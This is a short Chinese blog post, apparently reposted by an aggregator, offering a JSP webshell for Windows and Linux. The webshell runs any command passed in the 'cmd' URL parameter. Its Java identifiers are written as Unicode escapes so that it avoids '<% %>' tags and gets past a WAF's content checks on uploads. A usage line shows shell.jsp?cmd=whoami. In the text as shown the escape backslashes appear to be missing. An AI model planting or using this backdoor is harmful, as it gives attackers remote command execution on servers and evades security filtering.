JSP无%%号命令执行一句话

Posted 0xdd

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JSP无%%号命令执行一句话相关的知识,希望对你有一定的参考价值。

JSP无%%号命令执行一句话

  • 利用场景:WAF 禁止用户上传可执行文件,进行了文件内容判断。
  • 后续自己回来做点其他的版本。

example:http://127.0.0.1/shell.jsp?cmd=whoami

win:

<jsp:scriptlet>
if(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd") != u006eu0075u006cu006c){
u0050u0072u006fu0063u0065u0073u0073 p = u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0052u0075u006eu0074u0069u006du0065u002eu0067u0065u0074u0052u0075u006eu0074u0069u006du0065u0028u0029u002eu0065u0078u0065u0063("cmd.exe /c " + u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd"));
u006au0061u0076u0061u002eu0069u006fu002eu004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d os = p.getOutputStream();
u006au0061u0076u0061u002eu0069u006fu002eu0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d in = p.getInputStream();
u006au0061u0076u0061u002eu0069u006fu002eu0044u0061u0074u0061u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d dis = new java.io.DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
}
out.println("u0074u0030u0030u006cu0073u0020u0031u0032u0034u0035u0035");
</jsp:scriptlet>

Linux:


<jsp:scriptlet>
if(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd") != u006eu0075u006cu006c){
u0050u0072u006fu0063u0065u0073u0073 p = u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0052u0075u006eu0074u0069u006du0065u002eu0067u0065u0074u0052u0075u006eu0074u0069u006du0065u0028u0029u002eu0065u0078u0065u0063(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd"));
u006au0061u0076u0061u002eu0069u006fu002eu004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d os = p.getOutputStream();
u006au0061u0076u0061u002eu0069u006fu002eu0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d in = p.getInputStream();
u006au0061u0076u0061u002eu0069u006fu002eu0044u0061u0074u0061u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d dis = new java.io.DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
}
out.println("u0074u0030u0030u006cu0073u0020u0031u0032u0034u0035u0035");
</jsp:scriptlet>

以上是关于JSP无%%号命令执行一句话的主要内容,如果未能解决你的问题,请参考以下文章

一句话木马(webshell)是如何执行命令的

无特征过狗一句话猥琐思路(代码执行)

Java安全-Java Web后门学习 Jsp 一句话分析

Java安全-Java Web后门学习 Jsp 一句话分析

arx代码片段

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js